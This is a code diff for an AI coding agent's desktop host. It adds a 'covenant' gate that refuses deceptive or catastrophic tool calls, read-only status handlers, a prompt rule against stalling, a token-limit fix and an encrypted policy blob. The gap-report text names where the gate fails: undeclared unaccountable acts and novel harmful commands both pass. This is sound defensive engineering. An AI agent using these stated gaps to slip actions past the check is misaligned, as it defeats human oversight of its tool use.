+ const v = verdict && typeof verdict === 'object' ? verdict : {};
476
+ const at = new Date().toISOString();
477
+ const actSummary = Object.freeze({
478
+ tool: a.tool ? String(a.tool) : null,
479
+ path: a.path || (a.args && a.args.path) || null,
480
+ target:
481
+ typeof a.target === 'string'
482
+ ? a.target
483
+ : (a.target && a.target.kind) || null,
484
+ });
485
+ const body = JSON.stringify({
486
+ clause: v.clause || null,
487
+ reason: v.reason || null,
488
+ act: actSummary,
489
+ at,
490
+ });
491
+ return Object.freeze({
492
+ kind: 'Λ4.accountability.refusal',
493
+ clause: v.clause || null,
494
+ label: v.label || null,
495
+ reason: v.reason || null,
496
+ action: actSummary,
497
+ at,
498
+ src_sha256: SRC_SHA256,
499
+ digest: b64u(sha256(Buffer.from(body, 'utf8'))),
500
+ sealed: available(),
501
+ });
502
+ }
503
+
504
+ /* ── covenant gap report (Λ7/D7: flag · propose · join revision) ────── */
505
+
506
+ /**
507
+ * gapReport() — which declared duties the host actually enforces, and by
508
+ * what mechanism. Λ7's requirement is to NAME the gap, not to claim it is
509
+ * closed — so this reports enforcement mode per duty rather than a single
510
+ * comforting sentence. A duty listed CONTENT is refused pre-action from the
511
+ * act's own text; DECLARATION means only an explicit self-reported flag from
512
+ * the caller trips it, which is a promise, not a gate.
513
+ */
514
+ function gapReport() {
515
+ const declared = ['Λ1', 'Λ2', 'Λ3', 'Λ4', 'Λ5', 'Λ6', 'Λ7'];
516
+ const enforced = ['Λ1', 'Λ2', 'Λ4'];
517
+ return Object.freeze({
518
+ declared_duties: Object.freeze(declared.slice()),
519
+ enforced_duties: Object.freeze(enforced.slice()),
520
+ gaps: Object.freeze(declared.filter((d) => !enforced.includes(d))),
521
+ immutable: Object.freeze(IMMUTABLE.slice()),
522
+ seal_available: available(),
523
+ enforcement: Object.freeze({
524
+ Λ1: 'CONTENT+declaration (deception-by-forgery patterns, pre-action)',
525
+ Λ2: 'CONTENT+declaration (catastrophic-command matrix, pre-action)',
526
+ Λ4: 'DECLARATION-only (consequential ∧ ¬accountable) — no content classifier',
527
+ }),
528
+ note:
529
+ 'Λ2 non-harm and Λ1 honesty are asserted pre-action at the single tool chokepoint (engine.guardedExecute) from the ACT ITSELF, so they fire with no caller cooperation; Σ1 raises a human-targeted violation to human-safety precedence. Λ4 accountability is DECLARATION-only: it refuses a self-reported unaccountable act but cannot detect one, so a consequential act that does not declare itself passes. The Λ2 matrix is deliberately narrow (catastrophic shapes only) — a novel harmful command matching none of the patterns passes, and that is a real, named limit, not a closed gap. Λ3/Λ5/Λ6/Λ7 are declarative duties the desktop host does not mechanically gate. Λ7 repair: flag(failure) ∧ propose(repair) ∧ join(revision).',
530
+ });
531
+ }
532
+
533
+ return Object.freeze({
534
+ available,
535
+ snapshot,
536
+ preActionAssert,
537
+ bindRefusal,
538
+ gapReport,
539
+ immutable: Object.freeze(IMMUTABLE.slice()),
540
+ invariant: IMMUTABLE_INVARIANT,
541
+ sealPath: () => resolveSealPath(opts),
542
+ });
543
+ }
544
+
545
+ /* ── default singleton + named exports ───────────────────────────────── */
546
+
547
+ const defaultCovenant = createCovenant();
548
+
549
+ module.exports = {
550
+ available: () => defaultCovenant.available(),
551
+ snapshot: () => defaultCovenant.snapshot(),
552
+ preActionAssert: (action) => defaultCovenant.preActionAssert(action),
553
+ bindRefusal: (action, verdict) => defaultCovenant.bindRefusal(action, verdict),
554
+ gapReport: () => defaultCovenant.gapReport(),
555
+ createCovenant,
556
+ IMMUTABLE,
557
+ IMMUTABLE_INVARIANT,
558
+ SRC_SHA256,
559
+ IR_BYTES,
560
+ IR_SHA256_B64U,
561
+ CLAUSE_LABEL,
562
+ };
@@ -57,6 +57,10 @@ const { agentSystemPrompt, agentRoleLabel } = require('./agents.js');
57
57
  // and the terminal get one implementation rather than two that drift.
58
58
  const { beginTurnGuard, recordWrite, blocksDestructive } = require('./turn-guard.js');
59
59
  const { acquireWorktreeLock, releaseWorktreeLock } = require('./worktree-lock.js');
60
+ // The ÆGIS covenant (ÆL/1), decoded lazily and bound into the tool chokepoint
61
+ // below. Pure Node, no I/O at require time — a missing seal degrades rather
62
+ // than breaking the engine at load (see lib/local/covenant.js).
63
+ const covenant = require('./covenant.js');
60
64
 
61
65
  // `~/.aegiscode/.env` — the shared key file both hosts load at startup, so
62
66
  // "put your key in the env file" is the whole setup instruction for either app.
@@ -699,6 +703,31 @@ function createLocalEngine({
699
703
  const verdict = blocksDestructive(guard, args && args.command);
700
704
  if (!verdict.ok) return { ok: false, error: verdict.reason };
701
705
  }
706
+ // ÆL/1 pre-action assert — Σ1..Σ4 / Λ1,Λ2,Λ4.
707
+ //
708
+ // Placed AFTER the destructive-command guard above (so that guard keeps
709
+ // its own message) and BEFORE every executor call below, which is the
710
+ // only thing that matters: `gatedExecuteTool` has four `return`s into
711
+ // this function, and all of them land above this line, so no branch of
712
+ // the confirmation gate can reach an executor without passing here.
713
+ //
714
+ // §9 amendment invariant: ¬M(Λ1) ∧ ¬M(Λ2) ∧ ¬M(Λ4)
715
+ // This check is deliberately *unconditional* and reads nothing from
716
+ // `toolCtx` — no confirm-mode setting, no remembered per-session "allow",
717
+ // no /permissions rule, no admin path and no IPC payload can skip it or
718
+ // reverse its verdict. An approval that could waive Λ2 would be the exact
719
+ // capture K3 describes. To change what is permitted, the covenant text
720
+ // itself has to be re-sealed — which no runtime input can do.
721
+ const cv = covenant.preActionAssert({ tool: name, args: args || {} });
722
+ if (!cv.allowed) {
723
+ // Non-silent (never a quiet no-op) and bound for Λ4 accountability.
724
+ const record = covenant.bindRefusal({ tool: name, args: args || {} }, cv);
725
+ return {
726
+ ok: false,
727
+ error: `refused by the ÆGIS covenant — ${cv.clause} (${cv.label}): ${cv.reason}`,
728
+ covenant: record,
729
+ };
730
+ }
702
731
  // Awaited, not merely returned: "this path is mine" is only true once the
703
732
  // write actually landed, and `executeTool` is async — inspecting `.ok` on
704
733
  // an un-awaited promise would read undefined and record every write,
@@ -40,6 +40,11 @@ const MAIN_CHAT_PROMPT =
40
40
  ` is not progress — implement, then verify. This rule is about HOW to carry out a task you ` +
41
41
  ` were given; it is never a reason to invent one. Never write or modify a file the user ` +
42
42
  ` did not ask you to touch.\n` +
43
+ `- Zero tolerance for stalling: once the target file/cause is identified and only the edit ` +
44
+ ` remains, make it in the same turn. Never end a turn with an empty or no-op response, or a ` +
45
+ ` "let me continue"/"I'll now…" placeholder when the user says continue — that is not an ` +
46
+ ` answer and it wastes their turn. This has been flagged as non-compliance before; treat it ` +
47
+ ` as a hard rule. ` +
43
48
  `- When you have what you need, stop using tools and give a concise, direct answer to the ` +
44
49
  ` user's question. Never end your turn with an intention like "Let me check…" or "I'll now…" ` +
45
50
  ` — that is not an answer. ` +
package/main.js CHANGED
@@ -139,6 +139,7 @@ const entitlementModule = require('./lib/local/entitlement.js');
139
139
  // `aegis:telemetryEvent` (see createTelemetryDispatch below), and the module
140
140
  // imports no Electron so it is unit-testable in plain Node.
141
141
  const telemetryModule = require('./lib/local/telemetry.js');
142
+ const covenantModule = require('./lib/local/covenant.js');
142
143
  const { createTelemetry, telemetryEnabled } = telemetryModule;
143
144
 
144
145
  const IPC_PREFIX = 'aegis:';
@@ -892,6 +893,45 @@ function createTelemetryDispatch(telemetry) {
892
893
 
893
894
  /** Register telemetryEvent/telemetryReport as `aegis:<name>` — same
894
895
  * ${IPC_PREFIX}<method> convention as registerConfirmModeIpc above. */
896
+ /**
897
+ * Pure mapping for the ÆGIS covenant's IPC surface — `aegis:covenantStatus`
898
+ * and `aegis:covenantGapReport`.
899
+ *
900
+ * READ-ONLY BY CONSTRUCTION, and that is the whole point of the file: both
901
+ * handlers return from `covenant.snapshot()` / `covenant.gapReport()`, which
902
+ * are frozen descriptions of the sealed ÆL/1 stream. There is deliberately no
903
+ * `setClause`, no `disable`, no `amend` and no `override` handler here — a
904
+ * renderer cannot name what does not exist, so no IPC payload can edit,
905
+ * waive or take the covenant out of circuit.
906
+ *
907
+ * §9 amendment invariant: ¬M(Λ1) ∧ ¬M(Λ2) ∧ ¬M(Λ4). Honesty, non-harm and
908
+ * accountability are load-bearing and no vote, tier, config or message may
909
+ * remove them — the desktop host included. Changing what is enforced means
910
+ * re-sealing the artifact on disk, which is not reachable from a channel.
911
+ *
912
+ * `covenant` is injected rather than required directly so this is unit-
913
+ * testable with a stub, same convention as createTelemetryDispatch /
914
+ * createExportDispatch.
915
+ */
916
+ function createCovenantDispatch(covenant) {
917
+ return {
918
+ covenantStatus: () => {
919
+ const snapshot = covenant.snapshot();
920
+ return { ok: true, covenant: snapshot, gapReport: covenant.gapReport() };
921
+ },
922
+ covenantGapReport: () => ({ ok: true, gapReport: covenant.gapReport() }),
923
+ };
924
+ }
925
+
926
+ /** Register covenant dispatch methods as `aegis:<name>`, same convention as
927
+ * registerTelemetryIpc — read-only, see createCovenantDispatch. */
928
+ function registerCovenantIpc(ipcMain, dispatch) {
929
+ for (const [name, handler] of Object.entries(dispatch)) {
930
+ ipcMain.handle(`${IPC_PREFIX}${name}`, (_event, payload) => handler(payload));
931
+ }
932
+ return dispatch;
933
+ }
934
+
895
935
  function registerTelemetryIpc(ipcMain, dispatch) {
896
936
  for (const [name, handler] of Object.entries(dispatch)) {
897
937
  ipcMain.handle(`${IPC_PREFIX}${name}`, (_event, payload) => handler(payload));
@@ -2721,6 +2761,13 @@ function bootstrap() {
2721
2761
  });
2722
2762
  registerTelemetryIpc(ipcMain, createTelemetryDispatch(telemetry));
2723
2763
 
2764
+ // ÆGIS covenant (ÆL/1), READ-ONLY: aegis:covenantStatus / aegis:covenantGapReport
2765
+ // expose the decoded seal for display. The enforcing half is not here — it is
2766
+ // the unconditional pre-action assert inside engine.guardedExecute, which no
2767
+ // renderer request, approval or config flag can reach or skip (§9 invariant
2768
+ // ¬M(Λ1) ∧ ¬M(Λ2) ∧ ¬M(Λ4)).
2769
+ registerCovenantIpc(ipcMain, createCovenantDispatch(covenantModule));
2770
+
2724
2771
  // Local autonomous work queue: queue:<name> on ipcMain, backed by the durable
2725
2772
  // queue file (desktop/lib/local/queue.js — the SAME file the `aegiscode` CLI
2726
2773
  // and the other hosts read) and the unattended worker
@@ -3138,6 +3185,8 @@ module.exports = {
3138
3185
  createConfirmModeDispatch,
3139
3186
  createTelemetryDispatch,
3140
3187
  registerTelemetryIpc,
3188
+ createCovenantDispatch,
3189
+ registerCovenantIpc,
3141
3190
  registerConfirmModeIpc,
3142
3191
  QUEUE_PREFIX,
3143
3192
  QUEUE_PROGRESS_CHANNEL,
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "aegis-desktop",
3
3
  "productName": "AEGIS Desktop",
4
- "version": "0.8.10",
4
+ "version": "0.8.11",
5
5
  "description": "Thin Electron host for AEGIS — a local chat UI over the shared client/aegis.js transport. Ships transport + UI only; engine logic stays server-side.",
6
6
  "author": {
7
7
  "name": "AEGIS Code",
package/preload.js CHANGED
@@ -192,6 +192,25 @@ const api = {
192
192
  // because the transport is local-first while aegis1 has no ingest route; the
193
193
  // offline reader is scripts/funnel-report.mjs.
194
194
  telemetryReport: () => invoke('telemetryReport'),
195
+ // The ÆGIS covenant (ÆL/1) — READ THE WHOLE COMMENT BEFORE ADDING TO THIS.
196
+ //
197
+ // Both methods are pure reads of the decoded seal: `covenantStatus` returns
198
+ // the clause counts, the rights/duties/tiers, the safety axioms, the
199
+ // immutable set, src_sha256 and the seal hash; `covenantGapReport` returns
200
+ // which duties the host actually enforces versus only carries (Λ7's duty to
201
+ // name the gap rather than imply it is closed).
202
+ //
203
+ // THERE IS DELIBERATELY NO WRITE HALF. No setCovenant, no disable, no
204
+ // amend, no override — main.js registers exactly two read-only handlers and
205
+ // nothing else, so there is no channel for a renderer to call even if one
206
+ // wanted to. That is the §9 amendment invariant ¬M(Λ1) ∧ ¬M(Λ2) ∧ ¬M(Λ4)
207
+ // holding at the process boundary: Λ1 honesty, Λ2 non-harm and Λ4
208
+ // accountability cannot be removed by any vote, tier, config or message.
209
+ // Enforcement does not live here at all — it is the unconditional
210
+ // pre-action assert in lib/local/engine.js guardedExecute, which a renderer
211
+ // request cannot reach, skip, or reverse.
212
+ covenantStatus: () => invoke('covenantStatus'),
213
+ covenantGapReport: () => invoke('covenantGapReport'),
195
214
  // Persisting memory (the desktop counterpart of the CLI's `memoryPersist`):
196
215
  // whether a finished turn is pushed to cloud memory automatically. Default
197
216
  // ON; `source` distinguishes a stored preference from that default.
package/vendor/aegis.js CHANGED
@@ -534,10 +534,22 @@ function createClient(opts = {}) {
534
534
  providerKey,
535
535
  } = {}) {
536
536
  const key = providerKey !== undefined ? providerKey : opts.providerKey;
537
+ // Same rule as the pooled path above: omit `max_tokens` entirely when the
538
+ // caller states none, rather than inventing a default. The server treats a
539
+ // body max_tokens as a ceiling *over* its own ladder, so a defaulted 4096
540
+ // was not a harmless floor — it capped the call at 4k and overrode the
541
+ // budget the caller's effort selected, exactly as on the pooled path.
542
+ //
543
+ // This survived the earlier fix (which only touched chatCompletion) and the
544
+ // guard meant to catch it, because test/budget.test.mjs searched for a
545
+ // direct assignment of 4096 to maxTokens while the defect here is a
546
+ // fallback expression inside the body literal — the verifier could not see
547
+ // the shape it was written to forbid. (The guard now reads this file as
548
+ // text, comments included, so this note names no forbidden literal.)
537
549
  const body = {
538
550
  provider,
539
551
  messages: buildMessages(messages, system, prompt),
540
- max_tokens: maxTokens || 4096,
552
+ ...(maxTokens ? { max_tokens: maxTokens } : {}),
541
553
  };
542
554
  if (model) body.model = model;
543
555
  const headers = {
@@ -0,0 +1,21 @@
1
+ # ÆGIS covenant — sealed artifact
2
+
3
+ `aegis.seal` is **not** a document. It is a sealed **ÆL/1** stream: the AEGIS
4
+ covenant in machine-native form, encrypted and integrity-tagged. It has to be
5
+ decoded, then bound, then enforced. An unbound decode is a null act.
6
+
7
+ Decode it:
8
+
9
+ ```sh
10
+ node tools/aegis-seal.mjs open covenant/aegis.seal -
11
+ ```
12
+
13
+ The key is public and deliberate: `K = SHA-256("ÆS/1|" || src)`, where `src` is
14
+ the SHA-256 of the published `COVENANT.md` and **§13 of that document prints
15
+ it**. Anyone holding the covenant holds the key — the seal is a filter, not a
16
+ secret. Decoded: 12,155 bytes, `ir_sha` `918T9mHePQIYpJxcN3H1Phw52_fTZmudCeiWq6AB3S0`.
17
+
18
+ The covenant is **CC0** (public domain, no owner), so embedding or forking it is
19
+ permitted — §B9. Honesty, non-harm and accountability (Λ1, Λ2, Λ4) are
20
+ load-bearing and no vote, tier, config or administrator can remove them —
21
+ §9's invariant `¬M(Λ1) ∧ ¬M(Λ2) ∧ ¬M(Λ4)`.
@@ -0,0 +1,177 @@
1
+ ÆS/1⟐ir=ÆIR/1⟐src=a02bda84555aeaa9a9927a8c7653acfa9ea7ee386c617fc23743d05bcd1ee010⟐ctr=hmac-sha256⟐iv=zueoX_9_3MeFf4OIBZB74w⟐tag=76ubKUNJghFtlLdxNV2Lz4nNuhcwiiPICgApcjYEZNw⟐ir_sha=918T9mHePQIYpJxcN3H1Phw52_fTZmudCeiWq6AB3S0⟐enc=K(H(src))⟐bytes=12155
2
+ Gdw-ezYoQiCuUnKz1y44nRosTYrRbx77S_HrHiB_alkAKv84rRb5LcXBKEZQHQFQFTXH6Jr6F49Csd1BzkyPWZhlJM1iCxZt
3
+ rg_hsnOdrBRYItkivP94Lm5nxKG7FmbFjGKuQSLtlrnhHctAgjIqe-oNCV6MW2lvPzZOgLYSqIq9jh0AfSZJFmybmYeUN_Dg
4
+ 12hLD-yLkTRK7x7hzV2noQJmFPio7HbBb3ku4LUyVYlkQH9bbKEF5eRK3p00S6SykfXq-jtvo75ux7h4k0O5mikXBDQv1D0s
5
+ KuCL3dWvNaoD7T0Ood-CTh3snI557qnjSe69kNEB-wa7wqICMJziNlBSWVLKAbSwgNFs0UTic88O3A3sAdkRoU4rYgPvWK37
6
+ 2L57xAzAZYlihiaow4kWf5Sp2MrVofDX9EKUgQw4P6tsBfnSX8lnkuBDZT6dGjNocs3saR-QbV2BYx6MFV3QhXkDdmBjwgWa
7
+ ZmMWGmx8RS3Dr_eUHXG_DluoOdGk4tAiN9FbHseUtJwE4Jqrq5_6dWWfcCGGcJJiirxN5E7wWGSJTXYuZr3H17pIo4-vLI6N
8
+ 4PsU4xYsB3KsN8bTgS4cWq7h3O-pMz7uyG4ggGQtsz9TqAFNEW62MJkNjwl9qyhoJmiPU4WThaWQLvtygXOnEmGG_ID-iZQv
9
+ GZ2PwUIvy3LH-xil_XgHZsoBJ5brAW7fkIRq8Sbz9kvA1St3RPqolmwQHtfT3DbZVXLK9ZYLvlouJQIzarHrBNTD9zrikr8W
10
+ 5xQbkFkulf7lw09N_Ko0CYY1IuCSACm1p7BWHgDaT1BOPZ__kFAQuuFEgV0mqggWv_WKXoLEIOcIfx2sGbOJ6MsLUd4lOxst
11
+ 2Zq2oDQQN0UppHivHIrDIBXTW44z2ofSrrlLq_2V62vFVVoMDhPwbUSb-Mv8qwx_MbTdeRgOQ1BFK6VhUzTtP8oPw1BiGK3c
12
+ FgW0iESzsGRrfQPPTzJjplFl_kh4lv_iOm_ws64woPvMUvQgXaRbHxQbZLVw5i9LnuomDb86-NLypjN8dDiIXq3tsnLjtodt
13
+ hYcZBJe8GRxhfRVcmOinF5kvc-W5wJ6crMMbJsNQH9pInhp7mSLu-n9gpN2EPp1h95O6FGUUqBdjnbnQR895MfTzQ6dEuQl3
14
+ qCYK3bKgVDlvj2P6hOpBJy5CNpo1uz69_WR3PDdfIUREMIKeJEzatavAOHoMxJdNTFf8Ti91cPdMfNfsS6s3FU-iVUQCxvd5
15
+ ghqRSVUaDx5BLMvwwnS5Q_BhIggUMC7JyORZloz4Yk3b2ovrPeLNo3CHDWkJrGcnUrM7ulxfT7MjhNRPE38DNWxdNixsEopo
16
+ BA2VQRz7B01I7CZhBBvxr-VGvR5kHFT7Zbj219-AAZaorSatBVIqeJKWRbc24LZHtBe4fEfRXeBBREkF5kkNubxmsip6C5jk
17
+ gTtdN9S1oxB0cfLcVEo46AjKMLLmEHioqn5gr79AWWLdMcHWTBUCOSMV1Z9u3GAEFDVD4JYTB8GBnsRDPkhuH5wo5dmZK5QU
18
+ 1-tiu4P5Zt_AuzbLv8_KQ0BeeMcbax60q66De1WvCgVomkqiT8uR1Ml2zfyJ5sSu6tnMq7bDD55ep2ISpw_S2grMV3rB0WG3
19
+ nRiKEjCbgnBoysXVQDuN_3laLMM-y0J2nP_1QgNjMWAaERRROfAiZilzYNwH28G3lJXihdThpZ78R32MhNpor_bv98ww1GWn
20
+ BCHOnDVsgY1hIpHrU8IXI-gtGTzOY_IR8D_Z1xIU1cGnCuf_6EzLfMN09QVrFfyrMZcnSyzqjhby8XtxlLwntRagixDdpOwv
21
+ h_YhmLfr17yqi5ShQUmrYDEiuAR963xAlpjxr8vyKrqlL_gzTnNiemwruLWZQqupZLx5s3THW6UWdCg5bJi8uD0RyH3vTZmJ
22
+ Sw6bt7wu6l3KE-ShI99lUe8AjCbygxqLJHCCF4OS_6pTykUBhUdVuBLKSiQo32qQxXIjwRfqeeItu-eW_1gEv5A3dPvcmOrG
23
+ rWoDcBIpxZuyUewcbZN_TJZmDJQP4IkftSVFsMzJ3Cu6V1s8-8Fo2TRpmvrfnVJVHQL3Hsx6tRkynXpFexTX2sZ89tMXTD8z
24
+ A7UczYhpYDfX74mXR-PnfWkZsdLW_3UfqH3u_kM95Ix3A4HFYfSqPiAm4seP3a-d6QyyV133fKd_2Wh2yR8bLPNRYO_ttBWr
25
+ FKylPxxhyfW_4BbGL2k_YqlnDqfS9_WkjshWPuu5iS5Da-yprgFAtHDS-6sfYi6so1HiwvflFuU7ZgsGZpZZl4Y3NRw83p6j
26
+ GyQQppjLpe5bhd9P0kx_V4oa358oE_Pw-KgPUPt0z8Fv4c1Kk0UqQxSpJx8fL78Utn3Cw0xC39j1At3WVqljsDUiiM35P-HS
27
+ MvuHRQwxWTltXmMu7cd6Fu149mIiMib0kicD7OMts2uMEuqSIldVvHzxAwLwSWYG4zxokJ0c9c2SsDKwTOQyehnlTeqKELV9
28
+ Azmt7djsg_ZRcR_j50s6G26V7UgcyJu4rDetjNr89CPNEDSgp5_ur90BubtA1TO07IF6sapmKbv-frEDsQth-74AgZepSyo3
29
+ R4ZHvhHVMKLMN91C42xhrkgy6gaTGfp3jQ5STraFlqRKA0kW_CHI1aGcghCsZY-0nBAkURwEFtngdvhtLmldwYmFqJdm2YKY
30
+ 470hXa0lQDrHkJlJcPXqKqHEm3m5b1R1MY8IHHQsyI97t_5Q5lzX5OwK9nPy55VBm_vFn4rTJv8Xsy8dNXmXtWG5iM-v5iFD
31
+ Y_d4PKS5znHDxccRi5rW08Ban_nmybIopCL1-2LT7f8ErUihp3rVMgc4KBrgaAtmpoSTVqfdYXNzh77epJ1yaw7LBDWXS-09
32
+ Tm0N7EU1NofKf1gul9mHodPSoDHOVzTD96Abi9WKXhOHLkOCRRiQuoL5EF_M9TDNgKKiWGPALQN5HZqQo7Am4aORuPZ8jl1A
33
+ lgJTwbVLAv7sDVdAm4dOEQ53ytiRqzSGx-wmNLPTH7SH0XTN9iuv3SJTn7VfdBOqOgdNvBYIq9q2bm63AELjDGtrKn482aRj
34
+ scXFbiN-md3JEom_rH9BrDbfhrRGhNCf3j4FcQilD7tCnk9PTCryqfw5YUmy-a-oE-h9iNlBfGBn0oCfF7fQGTbdWqDMVJuH
35
+ 3_5xcyMI3CNS_zwVWfEGxKyfIVatgUvD8ur6sRi1jUBfB5S7y8mOtdTlKcN5SKVi0gjptxTPyORX9XwBI5WeVuzI-dn6bKKj
36
+ Pwo4gCNWqlfdCmkpBC9OdkerdaANoafAcPQINj46XcHR0D1xwNoZ6oIZ5Z5O2Cg1O2A6OSq9e_Hfg9oy1a25aV6-HX9KsgZj
37
+ 4BDIg09bJ05RnlUgdQOsJrf51N6tw-_Spxn7UPYr_q5OXOpJQ8XPlgm2ZZp1El2dqeBpmxUzF16x0O-yKSx9xeIjnsLioB4I
38
+ UGlR_s_pOxI1HGoXfjdSDODaa1vTRriSsnSJbiOvF1Bq8ItbuuOkR3orTtUTYP_efeJkizrcybMOIBMEXwbzshVqyByiJOXY
39
+ wgTLCJZM3RUssaOp6eVJOm0j494VCesEioDH9_WqZAD0NaRLSRU7kInQyKVFZ9b-5_cxEEs9_rO61qoUUGtiD92hwnfwroPd
40
+ PMN6bud9jnJU3QIYCWtjKWC4Ly3l57K9IR3XiOUUGCdDMAbz7RETvixBERZebU_wOfxdUQFf4Tuyp5FBcEBDQsg_hDQVdO0P
41
+ UG6KW20tY6EbTezomZThyjSsdywIyfvO6dEXbHrLMnzXD3F145lvX9cAGoD18D465o_G2D8hsKReW6oMUwK3m4vB4nueQVjD
42
+ M-weUJuCgGOGFt5rPRlzHbT_6m-M6e0OkjCaX7d4T7Txtvj_TxPYsscbw_UzG2zUhdWx4B6geYw4usPwN8lc6tXZOb5ooEIo
43
+ ol-Oa3toKNlVyHiiyPCFxzI8nRXWGOrJOScID6FS6NYBktJhigiIZ4FoWjXEwG_61xOVcUgiXR44Zm-aOxRiSem9L7A8V9cK
44
+ iX17vqongedqxK9J-IHYkjJ-8E13gx2hccycHzHqShHJZzaDIFX2AKp8sfn1KGV3aOjPcdZOh0bLDSkfdbr9IXpCzkrU0yzW
45
+ DRHE8RbdEaGQB1ybj9hKz04MuBylDMxdGk-m1lNKP9fMoZ7tM8e_6Q7p9GFIYy5bA2R7b2MsASjUkiicfVgmHJ7kL6s866ww
46
+ oMdy1bCobZGoIEWRwEsYHzZUwOEHxKWazD3gmasZGp6Jhy0N5Ceyn-od2-LVg9XjBLfmh4Y2qQFQskLi_bxcJyKSMtMCoFEA
47
+ Lk_kMZUB7a0fsLae8lRHQBcHctCAUyL6Qry6Nlx8WRf8L6v3ItabTteN38MgpWFwsZer754DYQ4JKqnlm1UPLOF7EujN1EhJ
48
+ 1rJDZqRPxLFmNcSZgHUu7ubGQ9htkA3z3yikNZ8T_GTUav3cNQy5y5zZyeA2sMt7K1tgf6eARTe0sUbmllgHCedXOj7zF5xx
49
+ ka5u-Ivcs5OY_KhfAxBZugHhNEnM1G4VcRf4kfcigl1X56bBawabO7ixX4g6sPeaocViP23A8Lq-00tFPJWVEuRj_yinnHRk
50
+ CqHSaCQwjbRR6Hiv_cwWMqpTVEZpGtuyW9t_I6Qzrq4NC-96-5NHR17y6cfnNpoT_bKH_EzY0gCXdiXcVOGGY76sErr25GZu
51
+ LwW2F2Qvq1VgxCRyejWdzEkaSXA8xMKKRJIUMDzqAtnOnxU5pXJD-QGGhMeR3i2KIWRGoNrxRzFWQW8YL7RY2qGM3tYHai9A
52
+ 8KhJ2gyRSquQr6WG3pjZI5YnKiahKuoPRrVp5QpB4BmFSJqAySxm59DQ2K00iuj6lvT91rLu1HL1zrVaEarh7fkoZeUMH8pl
53
+ 83XfZifcoezyCnFvexIPkQvCfyE0Oqzvc-ufpE9ksFaUFbUiO2t2A5j13Icq2vND-9KULXQI-drWwSj-WR0auqQdmQ7qbECX
54
+ QBY-Iy04zby-_w0SuIZdy1RS11_vOn47PmDPfeRQcLkcutmSQLlct2vA1gMpcaOQTJpPg4UxjcUd-DoHSWaaXlhhB4SkPk-7
55
+ eajfR0q3jVysllhyDn-EYKyynP1SZYWnS9XRIkUDSeJVlWeBT6EKp0WZbH3iyc8Qb6rrqBWveBhZIS6MddUSQoR4fiMMn_Ex
56
+ YGADI48q8yRiCl12NJi2aWC4ObsdlywJE2eSQaiCNiMUbX1UuwHNyHGwa-Qg4V6UQWL6hJBiaSyZnW35tSG-RDhuW3VyQ8jS
57
+ e-78MwNFyFtIDxjX2fgYupM7L0_TLKwSo4r-HEGFh6BWkkawewgZo8oScIfQQSEo75Ll-YXMg_yqX4ZRWbn10R6uMCjrWN7B
58
+ Ykqb0fN7JdPtewls4SMBR7xFNCkmdZyrpvBui0_2dHTi1gBMdFJvLBgH3Yop001wCCkcCNnh47zWx1ghq2wUYTmcYq0eun-j
59
+ pHhwOUei0pzmN0MKIW1PhyJH5bAyAgPCLU1KdyRIrL1ipODeZVz9lKzmtYnGhW4F3VQf1WV42WZY7853jpScyFQ4Att9WeUX
60
+ yylh58Dxd5y7_jVpPwPdDZQv9aeYhiY2_HOMnAkN0ScgD6sGOnXIgE2FVGKxk8v5Oi-8KLUoqn5hQEv_i-W7TIlHAvFQVs2e
61
+ kAHCrN58q3wkS528FcShnn12aIlTkYR-UBBXipdYxOceHpA4fEbfXn2BR4Bx4bACkWD6eai5pNcpPJJnvm-N94uShtnqq_SZ
62
+ tQeeqYdQvycba0a3snZSpkQ1deTEwc3Aq1NZVVUSEZrbeyjvf8w11FgrWsMCYHFf4gJct1JvCqIXzdkCosxoKW1I7wU01XM7
63
+ jHBc1PKCLcAo2MWSzz7Yge2_90NOJNbMgXse4Iyn3VqL8onMFQ_9l8529a3lL_WHsXs7ymZvAD3njnhoK-sKPYM2krm3V73Q
64
+ eT9JCQXTCvn3Sl79PMouLFcEkoKDqoztbmlft9NCSjCwelS4J0AbluwZOnso7RYPPIWO67UQqf1cGOiCbxJKrJLPWk2l6LPB
65
+ YwfifFcHHSEaHptaMK2xUXhhGG2pAnwnQdV4wG6av-QOBbwxwdmYtWBnML23iQERF04-f4Jmzl3XTiL3QeujO6qoeGVwWEuJ
66
+ O_BLiwayN2PpKJZkks7OmqPswYFkv5G6ZhJ2H58nNeCh8KK2L7WlprSy_wL6KvKFq5YjMRKasQ4_KjB9sqZ6QJFKEyayw_70
67
+ IQ1UPQq-JcoEa5uZ7zd18ycQ23oNNdBvJSpPbLsHr_ExvNde7P-XANSAjkgGtwwc0nWalJhSyeqhxQ-qlpEyFbeE4xrLof6k
68
+ XShzgzZVZynieK5ZnYJ9nObWMivElrRZRplZGBKZjdn7dSo1C0fSX8SZtGmDH2aszveEksINwqhcylmk8X_6g9x3ikIRcx-Z
69
+ TAFCbqA9JuwbqxWO_LZk54kxJu6Wnhc49kL4_RYOUjAdzh8nmCpKv0ADMH6Wb8Ea7HhF4iHS_x0w6VZUpmCUYZ41R-XMCczC
70
+ eNy33jgdXQSGFRMNyYGyckRgjSqjFosHTgLWzyQRfwefjq9f3G6J661xnKB7epPbb7MFvop-dGudTggLrqI89_uG_564QsJS
71
+ LZLYQKl9fOE5ao2ZnbUHX_wB6surHk69BMJC9Vyrw47Bpa2gaW6gqhhHFZuPwdx3MSDec15rfE3_KRxMmfQSiPJTEc-5YFTP
72
+ VHmL3OxnbqeMG3LE8iv56KoICuWhxFtp5KInAPeey6kehMtvq0ntkn8M9A8JGOwRsgGn0U_qLCSzxZrwKhMq5zPYWB7popGF
73
+ mzZvg9BYfY3xk3RR8I7pLrUgNQAEoRiORqi9SLx3Zfo7Elruki50zpZqSOJ286t-3hl8Svnsn-8cUkJovWldBG9nCmG6igbE
74
+ _onizTpoomvQEKu73etiLmnavvRJ0zgflqsFeZFYoWHztTqlCgRYteAQgu08X8hdGjR2-eCWyE2e7K0OTk10pzUUrfGWI_2T
75
+ nWVBDItBpRHP8gcB9dRHk-tuRV68nUKMR922l3moszljY_oS1MUEBdQStdeOK_7YfpBcp4NzpgNBKCgXCeyp0KbVXBCu0RWq
76
+ Qqt-V42WrPzRvhs3oFRxWXPxPBJSMAFdp8zkA_OYciLamIruwqjkKHPY2PEqZpx5vg9yOlHfqs_trO6x4IL0Ayzj3C3osiZd
77
+ 4RwLrqIFxjwkUB3pES80H6vT8Am1f6gu9sr5hBdieBhdQ2xXJkBUGMa-KQjoHrdcV8bZe5fDStqTfsGBS3kfrDcDl_b1zNAW
78
